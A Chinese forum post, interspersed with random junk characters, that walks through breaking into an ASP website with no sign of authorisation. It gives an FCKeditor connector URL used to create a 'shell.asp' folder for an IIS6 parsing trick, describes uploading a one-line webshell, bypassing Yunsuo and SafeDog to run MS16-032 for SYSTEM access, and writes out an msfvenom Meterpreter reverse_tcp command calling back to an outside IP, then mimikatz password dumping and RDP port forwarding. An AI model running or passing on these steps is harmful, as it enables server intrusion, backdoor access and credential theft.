|
) G7 h4 O' d+ W7 ?
( e. x8 H2 H4 r$ w
7 u& }0 v, m- G0 K0 C2 L4 G 2 N0 P; n/ x; s" @' \
| 3 h3 {$ ~# N% Q" g; \
5 u0 z( W F9 U; r
' y7 i' K7 m6 T& J) r4 g3 ]
一、 利用getwebshell篇
- _5 v6 H$ B) \! E' T8 y- w
9 W1 h4 @ d& B& m+ q K4 S+ f首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
5 F v, D# e7 ~% v
) K- P9 M# v' H7 d* E
8 x* y! n' K* P' B! I9 t
下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
' i) c: ?+ d$ L+ k' t
0 `( L4 z* S: M& k下面我们构造一个asp目录，如：
0 q7 _2 [/ k) X" \) P
$ A' y6 F) V1 Y4 j7 b8 R4 i: J
] c( N; |# b# ?. U* _" m7 I http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975 + y( @6 {$ I; C
1 S" G: |7 l2 D6 r, ~
4 a2 ` I& @) x: J+ w2 } 然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
- F* |' ? g/ }5 h: Z a
# E: z" I$ C: [& J& \一、 绕过安全狗云锁提权并且加账号
/ w Q, T0 r3 L+ j0 v L
3 u! F J5 s' I6 t3 j没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
+ L0 Z8 f) _$ e' z+ a j4 i
+ Q. ^8 S# [# F4 |7 {. z! }如图：
9 C. W, M4 N5 \9 ~3 |3 s
6 T9 R P& c1 m* a然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
D( K' S1 ? s# [8 \3 r2 k4 r
' z# D: ]* y) e$ x- r8 |2 G# i
一、 利用metasploit
# b( ?% a& |8 G* q+ w
% z' Y$ J) F1 M首先用pentestbox生成一个64位的payload如下命令
" j0 @* y7 e) a+ }2 g+ X4 }6 t
4 j8 _- H. e0 r* c/ G m& K" |
msfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
6 t; D7 X9 t+ e9 P
% ~2 Q3 u6 ]" u6 [; U0 O
为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
2 x0 Y6 y' r& V( T, s$ _* A
; {1 P& K, a% d. J" }下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
8 g* j l; R5 t) F7 i( l0 s
* I( X9 ^1 ~9 E8 l$ ]
下面我们来做一个监听如下命令：
; Y! N, j* b* C. E
2 g" k+ X! N2 c6 Q) ^3 Cportfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
! H0 f6 o( S4 d" L9 V% W6 }
 / e, A# }8 q8 i; Z- v* K; x
, |' i( G( \7 R6 } | 1 E K* q: `' s$ n
$ I: @! c O# J9 h2 T
7 A* _2 [' _ u% o
. M9 d# {; b- O: |0 O. M3 p5 U3 a( Q6 `0 ~
2 _8 V# E. g" f: f4 y: K' }
, u' h F$ [' |1 I
9 ]% g0 i% H5 G
- {4 a# r9 O* Q# E5 |
& b7 t; K0 E; Y
: \+ j% |: C+ p0 q% F4 G
$ s0 A3 H, \# P8 }, s
) Y7 _( W4 { C, z9 w
( U. [5 V; B6 o( V- ~
| 
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06